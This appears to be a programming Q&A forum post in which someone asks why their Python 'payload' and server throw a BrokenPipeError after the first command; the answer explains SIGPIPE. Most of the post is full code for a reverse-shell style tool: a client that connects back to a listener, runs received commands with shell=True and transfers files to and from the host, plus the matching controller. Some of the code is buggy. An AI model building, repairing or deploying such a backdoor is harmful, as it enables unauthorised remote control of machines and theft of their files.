send（）函数的管道错误

Question

I need to make a small payload and server to download/upload or execute commands in the host computer.

Error :

Traceback (most recent call last):
  File "ServerCompletPAY.py", line 43, in <module>
    a.send(command)
BrokenPipeError: [Errno 32] Broken pipe

When I execute the files for the first time it works correctly, however when I type another command, then error is generated.

Server Code :

import os
import socket

global opening_file
global name_file
global a
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind(("0.0.0.0",1111))
s.listen(5)
a,c = s.accept()
print ("[*] We Are Connected ")

def shell() :
    verbose = a.recv(102400)
    print (verbose.decode(),"\n","\n")

def download_from_client ():
    opening_file = open(name_file,"wb")
    opening_file.write(a.recv(102400))
    x.close()
    opening_file.close()    

def download_to_client ():
    opening_file = open(name_file,"rb")
    file_needed = opening_file.read()
    a.send(file_needed)
    a.close()
    opening_file.close()

def main():
    if first_word == "download":
        download_to_client ()
    elif first_word == "upload" :
        download_from_client()
    else :
        shell()

while True : 
    command = input("<Shell >")
    name_file = command.split("/")[-1]
    first_word = command.split(" ")[0]
    command = command.encode()
    a.send(command)
    main()

---

Client Code :

from subprocess import *
import os
import socket

def shell() :
    commandexe = Popen(commandrecv.encode(),stdout=PIPE,shell=True)
    comment = commandexe.communicate()[0]
    s.send(comment)

def download() :    
    file_name = commentrecv.split("/")[-1]
    opening_file = open(file_name,"rb")
    s.send(opening_file.read())
    opening_file.close()

def upload():
    file_name = commentrecv.split("/")[-1]
    opening_file = open(file_name,"wb")
    file_name.write(s.recv(102400).decode())
    file_name.close()

while True :
    global s
    global commandrecv

    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("127.0.0.1",1111))
    commandrecv_encoded = s.recv(1024)
    commandrecv = commandrecv_encoded.decode()
    first_word = commandrecv.split(" ")[0] #to know if i need to upload or download

    if not commandrecv :
        break;
    else:
        if first_word == "download":
            download ()
        elif first_word == "upload" :
            upload()
        else :
            shell()

Thankyou in advance.

Answer 1

I am Quoting this Answer , as it looks similar to your problem try this:

Your server process has received a SIGPIPE writing to a socket. This usually happens when you write to a socket fully closed on the other (client) side. This might be happening when a client program doesn't wait till all the data from the server is received and simply closes a socket (using close function).

In a C program you would normally try setting to ignore SIGPIPE signal or setting a dummy signal handler for it. In this case a simple error will be returned when writing to a closed socket. In your case a python seems to throw an exception that can be handled as a premature disconnect of the client.